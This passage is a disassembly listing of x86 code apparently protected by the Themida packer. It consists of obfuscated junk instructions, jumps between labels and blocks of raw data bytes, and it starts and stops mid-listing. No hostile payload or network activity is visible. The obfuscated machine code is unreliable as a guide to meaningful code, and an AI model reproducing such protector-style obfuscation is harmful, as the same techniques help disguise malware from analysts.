		add	dword ptr [edx], 1
		jmp	loc_5F7E6D
; ---------------------------------------------------------------------------


loc_5FE095:				; CODE XREF: Themida_:005FCC06j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_6026F7
; ---------------------------------------------------------------------------
		dd 6624248Bh, 0E9240C8Bh, 0FFFFEA82h, 305AD328h, 8FE95BD8h
		dd 89FFFFABh, 4C681E6h,	83000000h, 348704EEh, 3148E924h
		dd 48B0000h, 4C48324h, 19F6E9h,	8A81B800h, 75E9F564h, 81FFFFA0h
		dd 9630ECC1h, 81D9014Fh, 9630ECE9h, 0F9BBE94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FE0FE:				; CODE XREF: Themida_:005F9481j
		push	dword ptr [esp]
		jmp	loc_5F90C4
; ---------------------------------------------------------------------------
word_5FE106	dw 8B66h		; DATA XREF: Themida_:005F6738o
		dd 0E9552404h, 0FFFF8D05h
; ---------------------------------------------------------------------------


loc_5FE110:				; CODE XREF: Themida_:005F7406j
		xor	edx, 3AE524D8h
		pop	esi
		pop	ecx
		jmp	loc_5FFC2B
; ---------------------------------------------------------------------------


loc_5FE11D:				; CODE XREF: Themida_:005F8D8Ej
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5F836F
; ---------------------------------------------------------------------------
		db 5Eh,	87h, 0Ch
a1Rsd1		db '$\1R1',0
		align 2


loc_5FE13A:				; CODE XREF: Themida_:005FD2E8j
		or	edx, eax
		shl	edx, 1
		jmp	loc_5FE565
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4BA52h, 0BCE90000h, 0F7FFFF91h, 0C8F181D9h, 1FE0AFBh
		dd 9383E9CFh, 0C781FFFFh, 0F45BE8BEh, 70E9FE01h, 0B3000023h
		dd 3074B2ADh, 0E8E95BDAh, 0F6000022h, 0D556E9D7h, 0C481FFFFh
		dd 4, 6FCE950h,	9BE0000h, 9649B07h, 24348BF7h, 4C481h
		dd 0BA520000h, 7A7C70C5h, 4EEA8142h, 0E90F335Eh, 0FFFFFE1Eh
		dd 148BD001h, 4FEF6824h, 0C890000h, 56E18924h, 4BEh, 5EF10100h
		dd 4C181h, 0C870000h, 50515C24h, 0D922E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FE1D6:				; CODE XREF: Themida_:005FC3DEj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5FF26B
		push	ebx
		mov	ebx, 3A102F8h
		inc	ebx
		shr	ebx, 2
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5F8AE9
; ---------------------------------------------------------------------------
		dd 4C281h, 0C2810000h, 4, 0E9241487h, 0FFFFF26Dh, 0FF8732E9h
		dd 240C89FFh, 0FB685954h, 89000044h, 0C2BD242Ch, 0E92A5C00h
		dd 0FDFh, 114B68h, 945CE900h, 15AFFFFh,	3199E9F8h, 515B0000h
		dd 4B9h, 0B9EB8100h, 8155C930h,	41191BEBh, 81CB0154h, 41191BC3h
		dd 0B9BD5554h, 0E955C930h, 3E9Eh
; ---------------------------------------------------------------------------


loc_5FE260:				; CODE XREF: Themida_:00600201j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 800h
		and	eax, ecx
		jmp	loc_5FEB64
; ---------------------------------------------------------------------------


loc_5FE281:				; CODE XREF: Themida_:005FD236j
		neg	ebp
		add	ebp, 0E3C03D6Ah
		mov	eax, ebp
		jmp	loc_5F9370
; ---------------------------------------------------------------------------
		dd 59CCEE81h, 0EE813192h, 68C25C1Bh, 2434875Dh,	0F24248Bh
		dd 5468C8B7h, 89000079h, 90E9240Ch, 0C1FFFF86h,	7BE903E5h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FE2BB:				; CODE XREF: Themida_:005F8DCBj
		push	ebp
		mov	ebp, 2A2C1346h
		sub	ebp, 799D026Dh
		jmp	loc_6006B9
; ---------------------------------------------------------------------------


loc_5FE2CC:				; CODE XREF: Themida_:005FEAA5j
		add	ebp, 0FFFDAD86h
		jmp	loc_5FA34F
; ---------------------------------------------------------------------------
		db 83h
		dd 348704C6h, 0E9505C24h, 0FFFFF261h
; ---------------------------------------------------------------------------


loc_5FE2E4:				; CODE XREF: Themida_:0060199Fj
		add	ebx, ecx
		add	ebx, 353C5515h
		pop	ecx
		sub	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_601887
; ---------------------------------------------------------------------------
		dd 2F4DE981h, 0CD89EEC5h, 20EB2D59h, 0E8296D72h, 7220EB05h
		dd 2434FF6Dh, 4C4835Dh,	0DBF5755h, 52664669h, 0D589FA89h
		dd 8124148Bh, 4C4h, 2434FF00h, 4C4815Fh, 81000000h, 293F7DF5h
		dd 0D9F58174h, 553B8082h, 0CA6321BDh, 0E9E82938h, 438Ah
dword_5FE354	dd 9C241CF6h, 1CA1E9h, 4895C00h, 5585424h, 4, 4BA52h, 0D0290000h
					; DATA XREF: Themida_:005F685Co
		dd 8124148Bh, 4C4h, 24048700h, 2404895Ch, 0BD55E089h, 4
		dd 0E95DE801h, 0FFFF92B3h, 0B62753BBh, 81DBF73Eh, 210262CBh
		dd 0C6CB8153h, 0E95E210Ch, 0FFFFBF49h, 4C581h, 0FF550000h
		dd 8B042474h, 0C483242Ch, 24048F04h, 3124248Bh,	34FF53D2h
		dd 2434FF24h, 4C48358h,	0E904EC83h, 0FFFFDE71h,	4240483h
		dd 510E9h
		db 0
; ---------------------------------------------------------------------------


loc_5FE3DD:				; CODE XREF: Themida_:005F8FD9j
		xor	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5F6943
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 4
		dd offset dword_49005C+1478Dh
		dd 56C68000h, 41F680h, 0EB805AF3h, 2F7FE954h, 0C5310000h
		dd 0C8C68158h, 11D5126h, 0C8EE81EEh, 5D1D5126h,	714968h
		dd 242C8900h, 4320E9h
		db 0
; ---------------------------------------------------------------------------


loc_5FE421:				; CODE XREF: Themida_:005F9C8Cj
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_5F9B06
; ---------------------------------------------------------------------------


loc_5FE42E:				; CODE XREF: Themida_:00601CD8j
		pop	cx
		sub	al, bh
		pop	ebx
		jmp	loc_5F8EBB
; ---------------------------------------------------------------------------
		dd 4875A5Ch, 24248B24h,	61F68h,	24348900h, 0E087E950h
		dd 166FFFFh, 0EB8166C3h, 66514C29h, 6638F4B9h, 6603E9C1h
		dd 0CA96E955h, 0E0C0FFFFh, 0B7535107h, 3577E995h, 0D7890000h
		dd 1AE9FD89h, 0C1FFFFCEh, 0F58106E5h, 0A9C5EE41h, 0E95DEE29h
		dd 3CB6h, 0DC6B6EBFh, 247C2931h, 0D1EEE904h, 405FFFFh
		dd 51000000h, 4B9h, 59C80100h, 2474FF50h, 48F5804h, 24248B24h
		dd 0E9240401h, 9B9h, 4C781h, 3C870000h,	1FE95C24h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FE4CB:				; CODE XREF: Themida_:005F6CDFj
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5F6D2A
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48124h, 0E9000000h, 20CFh,	0B728E95Ah, 0E958FFFFh
		dd 1DBFh, 0E0E9F300h, 0B8FFFFB5h, 56644E2Fh, 31E9C301h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FE50F:				; CODE XREF: Themida_:005F9B4Aj
		mov	[esp], ebp
		push	eax
		sub	esp, 4
		jmp	loc_5FD163
; ---------------------------------------------------------------------------
		db 89h
		dd 0D9BF5DEEh, 816B8F63h, 8C2629C7h, 0A0B7E93Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FE52E:				; CODE XREF: Themida_:005FA0DDj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		push	esp
		jmp	loc_5FCDC5
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24048F54h, 4BE56h, 74010000h, 348B0424h, 0C3EFE924h
		dd 335FFFFFh, 14312414h, 24143324h, 0FFE30CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FE565:				; CODE XREF: Themida_:005FE13Ej
		push	edx
		push	ebx
		push	570Ch
		mov	[esp], esi
		jmp	loc_5F7A1D
; ---------------------------------------------------------------------------
		dd 4290ED81h, 0F581347Fh, 3696528Fh, 546FED81h,	8956745Bh
		dd 5EF389EEh, 0E9DBF75Dh, 87Eh,	24048F59h, 2404335Ch, 0FFDF99E9h
		dd 0EC835EFFh, 243C8904h, 4556E9h
		db 0
byte_5FE5AD	db 66h,	8Bh, 4		; DATA XREF: Themida_:005F6880o
		dd 1D696824h, 1C890000h, 143EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FE5BE:				; CODE XREF: Themida_:00601BE7j
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	5614h
		mov	[esp], ecx
		mov	ch, 7Eh
		xor	al, ch
		push	dword ptr [esp]
		jmp	loc_5FFC41
; ---------------------------------------------------------------------------
		db 58h,	1, 0C6h
		dd 0A475E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FE5E2:				; CODE XREF: Themida_:005FADD1j
		pop	edi
		jmp	loc_5FA515
; ---------------------------------------------------------------------------
		dd offset loc_40ED7F+1
		dd 40C580E5h, 0FFC4E9E9h, 5EF131FFh, 20E1815Fh,	4916D545h
		dd 0E981D1F7h, 0D07B92EAh, 9908C181h, 69E9E0C0h, 81FFFFA9h
		dd 2C4h, 0E7C28000h, 5AD000h, 51E72CD8h, 0B753C3B1h, 5BF928E4h
		dd 0FFD2A0E9h, 0D9905FFh, 312D6A16h, 29363B2Fh,	2F3105D8h
		dd 9BE9363Bh, 33FFFF83h, 4312404h, 24043324h, 8527E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FE656:				; CODE XREF: Themida_:005FF43Ej
		xor	ecx, 18439323h
		jmp	loc_5F987A
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 7Eh
		dd 0E994EF3Bh, 0FFFFD1D4h, 53240C8Bh, 0C381E389h, 4, 4C381h
		dd 1C330000h, 241C3124h, 0E9241C33h, 0FFFFD798h, 30B4B551h
		dd 0E70059ECh, 0FF8595E9h, 241C33FFh, 243CD35Ch, 829DE99Ch
		dd 0C289FFFFh, 148BD189h, 0E6895624h, 0FFAC7CE9h
		db 0FFh
byte_5FE6B5	db 66h,	8Bh, 4		; DATA XREF: Themida_:005F6720o
aHk9		db '$hK9',0
		align 2
		dw 51E9h
		dd 5FFFFF8Fh, 8B24048Fh, 89572424h, 0EBCCE9E7h,	0FA01FFFFh
		dd 0BB53515Fh, 0B494875h, 0E95BD989h, 0FFFFD205h, 0E9242C33h
		dd 0FFFFED39h
; ---------------------------------------------------------------------------


loc_5FE6EC:				; CODE XREF: Themida_:006004D6j
		mov	ebp, 13872D47h
		xor	ebp, 30E47DA3h
		sub	edx, ebp
		pop	ebp
		pop	ebp
		mov	eax, edx
		pop	edx
		xor	eax, 615D2186h
		inc	eax
		add	eax, 0D40000C4h
		jmp	loc_5FB96B
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 8B665C24h, 5456240Ch, 8124348Bh, 4C4h, 4EC8100h, 0E9000000h
		dd 0FFFF9016h, 7DE9E828h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FE733:				; CODE XREF: Themida_:006011BEj
		push	1BB6h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_601629
; ---------------------------------------------------------------------------


loc_5FE742:				; CODE XREF: Themida_:005FFAB8j
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 225616CCh
		mov	ecx, 0DDA9E933h
		add	ecx, ebp
		pop	ebp
		mov	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp


loc_5FE77C:				; CODE XREF: Themida_:005FB978j
		push	1E72h
		mov	[esp], esi
		push	eax
		jmp	loc_5FB03A
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 0E9000000h, 3CDEh,	0E95DEE21h, 0FFFF970Ch
		dd 0F680B7B6h, 0E1E680D9h, 0E946F680h, 0FFFFFD4Ch
; ---------------------------------------------------------------------------


loc_5FE7B0:				; CODE XREF: Themida_:005F7B88j
		add	eax, 60EF12F1h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5FEA10
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8CBE5652h, 892F6903h, 0DBE95EF2h, 5FFFFDEh, 0FDF6ED04h
		dd 9DE9C201h, 0F7FFFFEEh, 81D6F7D6h, 7A76F4F6h,	5EF10112h
		dd 26D3E9h, 6E2C100h, 0B850D2F7h, 4F1E6C5Fh, 17E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5FE801:				; CODE XREF: Themida_:005F8682j
		mov	[esp], ax
		jmp	loc_5F6943
; ---------------------------------------------------------------------------
		dw 0C5B7h
		dd 88FC8850h, 0F8C0E9E1h, 0D100FFFFh, 0A884E95Ah, 31BBFFFFh
		dd 3175286Bh, 2D93E9F3h, 51520000h, 8898B652h, 0EA885AF5h
		dd 9BB15159h, 80DAF180h, 0D9F6C7E1h, 0E980E9D0h, 0BBB75318h
		dd 67EE9h
		db 0
byte_5FE84D	db 66h,	8Bh, 4		; DATA XREF: Themida_:005F67D4o
		db '$h=',0Ah,0
		align 2
aS_9		db '<',0Dh,0
		dw 3300h
		dd 248B243Ch, 24042024h, 80D9E99Ch, 1989FFFFh, 0E9240C8Bh
		dd 3C24h
; ---------------------------------------------------------------------------


loc_5FE874:				; CODE XREF: Themida_:005FC369j
		not	ebp
		sub	ebp, 0D1B0B14Eh
		mov	ebx, ebp
		pop	ebp
		add	eax, ebx
		jmp	loc_5F96B9
; ---------------------------------------------------------------------------
		dd offset dword_678368
		dw 8900h
		dd 0F6E92424h, 5A00003Dh, 6A4A68h, 242C8900h, 93CBE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FE8A2:				; CODE XREF: Themida_:005FADD7j
		xor	ebp, 0D1C2E08h
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		not	ebp
		sub	ebp, 774E4B4Fh
		add	edi, ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5F7F73
; ---------------------------------------------------------------------------
		db 59h
		dd 1B48C281h, 0C20153BFh, 433CE9h, 5B545300h, 0A97EE952h
		dd 0EF20FFFFh, 3EFC059h, 0FFDB24E9h, 24048FFFh,	5AEF68h
		dd 241C8900h, 0FF821BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FE8FD:				; CODE XREF: Themida_:005FAB29j
		mov	[esp], ecx
		mov	ecx, 14177CF4h
		jmp	loc_600E0E
; ---------------------------------------------------------------------------
		dw 3481h
		dd 5F441F24h, 8E95867h,	8FFFFFA6h, 0E9562404h, 0FFFFB1FAh
; ---------------------------------------------------------------------------


loc_5FE920:				; CODE XREF: Themida_:00602471j
		dec	ebp
		neg	ebp
		xor	ebp, 0CB27877Eh
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5FCBB5
; ---------------------------------------------------------------------------


loc_5FE937:				; CODE XREF: Themida_:005F9092j
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_602DBC
; ---------------------------------------------------------------------------


loc_5FE943:				; CODE XREF: Themida_:005FDD42j
		and	ecx, 52BF7882h
		add	ecx, 37600FE7h
		sub	ebp, ecx
		pop	ecx
		push	ebp
		jmp	loc_5FEA70
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFF834Ch, 0E904C483h, 0FFFFD418h, 43C4E781h
		dd 0FEE91379h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FE973:				; CODE XREF: Themida_:005F77AFj
		dec	edi
		shl	edi, 6
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5FB7A8
; ---------------------------------------------------------------------------
		dw 0D3F6h
		dd 0E93FE380h, 1AF9h, 0E92434FFh, 0FFFF8FC5h, 0CA0059B2h
		dd 0E154E959h, 0EC81FFFFh, 4, 0E9243C89h, 1E4Ah, 4A8FED81h
		dd 0C5815662h, 0ADD2C75Bh, 2C8BEB89h, 4C48324h,	3F2DC381h
		dd 93E92907h, 68FFFFE5h, 69CBh,	0FFB6B6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FE9D5:				; CODE XREF: Themida_:005FA23Dj
		mov	edi, esi
		pop	esi
		pop	ebp
		jmp	loc_602627
; ---------------------------------------------------------------------------
		dw 3C29h
		dd 67E95F24h, 81000019h, 4C2h, 8A84E900h, 35B8FFFFh, 2D5D1570h
		dd 2EFF786Fh, 0EA083E05h, 0E9C601D1h, 0FFFFD500h, 0E924248Bh
		dd 0FFFFC9FEh
; ---------------------------------------------------------------------------


loc_5FEA10:				; CODE XREF: Themida_:005FE7BEj
		push	esi
		mov	esi, 2B375A1Dh
		shr	esi, 3
		push	ecx
		mov	ecx, 6E340B1Dh
		xor	ecx, 0C705F68h
		and	ecx, 6E516CBFh
		neg	ecx
		or	ecx, 45040DFh
		add	ecx, 0C44A7D54h
		jmp	loc_5FCE60
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 2B3B5C2Bh, 8704EFC1h, 0D327E9EFh, 0BA52FFFFh, 4, 0FF938EE9h
		dd 9C5066FFh, 0FF7EE2E9h
		db 0FFh
byte_5FEA61	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005F66CCo
		dd 1058669Dh, 0E99C2404h, 1Ah
; ---------------------------------------------------------------------------


loc_5FEA70:				; CODE XREF: Themida_:005FE953j
		inc	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, 0FFFFFFFFh
		add	ebp, eax
		pop	eax
		add	ebp, 0B0A5CDACh
		xor	eax, ebp
		jmp	loc_5FC070
; ---------------------------------------------------------------------------
		dw 0B4E9h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FEA8F:				; CODE XREF: Themida_:005FAD98j
		mov	eax, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 744A4FC2h
		shl	ebp, 8
		shr	ebp, 5
		shr	ebp, 8
		jmp	loc_5FE2CC
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 335AD101h, 0C31240Ch, 240C3324h, 3274E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FEAC2:				; CODE XREF: Themida_:00601EDBj
		push	23D7h
		mov	[esp], esi
		push	7734h
		jmp	loc_5F903A
; ---------------------------------------------------------------------------
		dd 0E9242C33h, 16EBh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	11C9h
		mov	[esp], ecx
		mov	ecx, 4
		push	edx
		mov	edx, 240750Dh
		sub	ebp, edx
		pop	edx
		sub	ebp, 5C9903F2h
		add	ebp, ecx
		add	ebp, 5C9903F2h
		push	3A5Ch
		mov	[esp], esi
		mov	esi, 240750Dh
		add	ebp, esi
		pop	esi
		pop	ecx
		jmp	loc_5F9DE1
; ---------------------------------------------------------------------------
		db 58h,	2Ch, 80h
		dd 0FF7F67E9h, 243C31FFh, 8B243C33h, 89532424h,	4C381E3h
		dd 68000000h, 6838h, 0E9240C89h, 0FFFF8DFCh, 0F758C321h
		dd 5EBC1DBh, 0F701EB83h, 7EB81DBh, 29DFD6DFh, 0EC835BD9h
		dd 240C8904h, 0E9242C87h, 0FFFFB3B3h
; ---------------------------------------------------------------------------


loc_5FEB64:				; CODE XREF: Themida_:005FE27Cj
		mov	ecx, [esp]
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5F90F8
; ---------------------------------------------------------------------------
		dw 0E380h
		dd 0DE06E93Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FEB82:				; CODE XREF: Themida_:005F81C3j
		push	esi
		mov	esi, 445A104Ch
		jmp	loc_6024B0
; ---------------------------------------------------------------------------


loc_5FEB8D:				; CODE XREF: Themida_:005FC64Dj
		mov	eax, esp
		add	eax, 4
		jmp	loc_60025C
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 95680000h, 0E9000002h, 1C5Ah, 0E92434FFh, 0FFFFF0C1h
		dd 81C70158h, 0DC039CEFh, 24048B7Fh, 8304C483h,	3C3302C7h
		dd 243C3124h, 0FFFC8AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FEBD1:				; CODE XREF: Themida_:005FFD05j
		pop	edx
		xor	esi, 0D207A35h
		add	esi, 0EC4645DFh
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, edx
		jmp	loc_5FBC67
; ---------------------------------------------------------------------------
		dw 0FC00h
		dd 0F3EC805Bh, 5058E288h, 0FFE1EDE9h, 4EC83FFh,	0FFE2F4E9h
		dd 68F9F7FFh, 4C31h, 50241489h,	7D29E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FEC1A:				; CODE XREF: Themida_:005F9E61j
		push	esi
		mov	esi, 14E95843h
		xor	esi, 1CBA8283h
		jmp	loc_5F86E1
; ---------------------------------------------------------------------------


loc_5FEC2B:				; CODE XREF: Themida_:006029FCj
		mov	ebp, 3EC93BFBh
		sub	esi, ebp
		pop	ebp
		pop	edi
		sub	edx, esi
		jmp	loc_5FE089
; ---------------------------------------------------------------------------
		db 33h
		dd 14312414h, 24143324h, 6624248Bh, 9C2424D3h, 0FF7CF2E9h
		dd 0F18966FFh, 8324348Bh, 2CE904C4h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FEC5F:				; CODE XREF: Themida_:005F87B7j
		pop	edi
		xor	edi, 25753BE4h
		push	edi
		pop	ebp
		jmp	loc_5FA32A
; ---------------------------------------------------------------------------


loc_5FEC6D:				; CODE XREF: Themida_:00600939j
		sub	esp, 4
		jmp	loc_5F8D8B
; ---------------------------------------------------------------------------
		db 89h,	0CBh, 59h
		dd 15BDF01h, 0BB91E9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FEC82:				; CODE XREF: Themida_:005FB06Dj
		pop	esp
		mov	[esp], ebx
		mov	ebx, 0
		sub	ebx, 3C46109Ch
		sub	ebx, 66B640BCh
		add	ebx, eax
		jmp	loc_5F7C45
; ---------------------------------------------------------------------------
		dw 0F501h
		dd 0AC96E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FECA6:				; CODE XREF: Themida_:005FAA5Aj
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_6029AE
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 0E9h
		dd 398Ch, 0E9243C89h, 0FFFFDFBBh, 4EC8353h, 0B8240489h
		dd 2, 48BC389h,	1FBBE924h, 0C14F0000h, 0EF8107E7h, 4A35407Ch
		dd 3EB7E951h, 0C4830000h, 3E59E904h, 77B40000h,	0A1F5E953h
		dd 0C89FFFFh, 4EC8324h,	0FFA534E9h, 240C87FFh, 64EE9h
		db 0
byte_5FED09	db 64h,	0FFh, 32h	; DATA XREF: Themida_:005F6734o
		dd 0FF7C32E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FED11:				; CODE XREF: Themida_:005FD94Ej
		sub	ebx, 715D335Fh
		xor	ebx, 0BD6464BAh
		xor	eax, ebx
		pop	ebx
		sub	edx, 42C21837h
		sub	edx, eax
		add	edx, 42C21837h
		pop	eax
		jmp	loc_600793
; ---------------------------------------------------------------------------
aV?OcUSw	db 'V?{C',7,'w',8,0
		align 2


loc_5FED42:				; CODE XREF: Themida_:005FD166j
		mov	edx, 1EBB00DDh
		push	ebp
		push	edx
		push	ebp
		jmp	loc_5FF414
; ---------------------------------------------------------------------------


loc_5FED4F:				; CODE XREF: Themida_:005F8CAAj
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	ebp
		jmp	loc_5FD52A
; ---------------------------------------------------------------------------


loc_5FED5C:				; CODE XREF: Themida_:005FF867j
		push	ebx
		push	2DA0h
		mov	[esp], ecx
		mov	ecx, 46773853h
		push	ecx
		push	ebp
		jmp	loc_5F9694
; ---------------------------------------------------------------------------


loc_5FED71:				; CODE XREF: Themida_:005FA2DEj
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 0B265719h
		xor	esi, 60D614B0h
		shr	esi, 2
		sub	esi, 21FB30CBh
		and	esi, 3AFE1CA3h
		not	esi
		jmp	loc_60299B
; ---------------------------------------------------------------------------
		db 5Bh
		dd 83B7C180h, 148904ECh, 0EDDDE924h, 0C89FFFFh,	4EC8124h
		dd 89000000h, 6CE92424h, 0FFFFA2h, 4B52CD0h, 669B2CFEh
		dd 24148B5Ah, 4C481h, 0EB800000h, 4EC3805Bh, 80F6B652h
		dd 0C680E8EEh, 0F60FE906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FEDE2:				; CODE XREF: Themida_:005FD225j
		sub	bl, dl
		pop	edx
		add	bl, al
		add	bl, 0F5h
		push	7013h
		mov	[esp], ecx
		mov	ch, al
		push	eax
		mov	eax, 28h
		push	edx
		mov	edx, 5031922h
		jmp	loc_600882
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 242CD366h, 7B31E99Ch, 0C383FFFFh, 8E3C1FFh, 7A5DE381h
		dd 0EB812C81h, 2405709Ch, 1C8BDE29h, 4C48324h, 0FD5EF701h
		dd 4EC81h, 14890000h, 1BDD6824h, 835A31C6h, 73E9FFEAh
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FEE47:				; CODE XREF: Themida_:005F80B5j
		xor	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5F6F01
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4C4h, 0BD555700h,	45805F0Fh, 0FFC923E9h
		dd 4EC81FFh, 89000000h,	47BE2434h, 2918D13Bh, 5E042474h
		dd 0FF7AB6E9h, 243433FFh, 33243431h, 33E92434h,	51FFFF90h
		dd 0B9h, 30C18100h, 174F400h, 30E981D9h, 8874F400h, 240C8B21h
		dd 0FFDFB5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FEEB9:				; CODE XREF: Themida_:005F909Dj
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_5FA5F7
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0FED786DFh, 80D786CAh, 0F9280AEFh, 59CA005Bh, 1CF65266h
		dd 1B38E924h, 0BBF0000h, 0E97B0148h, 0FFFF8677h, 72E9D2F7h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FEEF7:				; CODE XREF: Themida_:005F935Cj
		mov	edi, esp
		push	ecx
		mov	ecx, 4FD108A6h
		neg	ecx
		push	ebp
		mov	ebp, 42AA3237h
		jmp	loc_6016B8
; ---------------------------------------------------------------------------
		dd 4C481h, 56550000h, 4EC81h, 0C890000h, 45DBB924h, 0C183619Eh
		dd 2E9C101h, 0FFE25EE9h, 4C281FFh, 87000000h, 565C2414h
		dd 3FEE9h, 6BB45000h, 6605ECC0h, 2801B753h, 0E95B66FCh
		dd 0FFFFF73Ch, 8F04C483h, 248B2404h, 2434FF24h,	3CAEE9h
		dd 24248900h, 4240481h,	5A000000h, 4C281h, 0BF570000h
		dd 2D075C8Dh, 0FFF9EBE9h, 4BAEBFFFh, 0EF814AE3h, 22424E3Bh
		dd 0F895EF81h, 0FE0915CBh, 3E6C15Fh, 0FF8C31E9h, 0E95158FFh
		dd 193Ah
; ---------------------------------------------------------------------------


loc_5FEFA0:				; CODE XREF: Themida_:005FC9EDj
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5FB7DA
; ---------------------------------------------------------------------------
		db 31h,	0F7h, 5Eh
		dd 0FFB213E9h, 20B866FFh, 0C52966DEh, 0FFB8C3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FEFC5:				; CODE XREF: Themida_:005FBDB6j
		push	eax
		xchg	eax, [esp]
		jmp	loc_5FA283
; ---------------------------------------------------------------------------
		dw 0D5B3h
		dd 1C8BD800h, 4C48324h,	0B1515053h, 2694E95Dh, 1C870000h
		dd 7C015C24h, 0E95F0424h, 0FFFF7953h, 33241C31h, 42E9241Ch
		dd 2CFFFF90h, 22C46h, 2B151D8h,	6859C800h, 7833h, 0B6241489h
		dd 8BF00046h, 0C4832414h, 9CE95104h, 4FFFFE5h, 500A2C2Eh
		dd 405E089h, 2D000000h,	4, 0FFBDAEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FF035:				; CODE XREF: Themida_:005FB0DEj
		push	0
		sub	dword ptr [esp], 1F1B458Dh
		sub	[esp], eax
		add	dword ptr [esp], 1F1B458Dh
		pop	eax
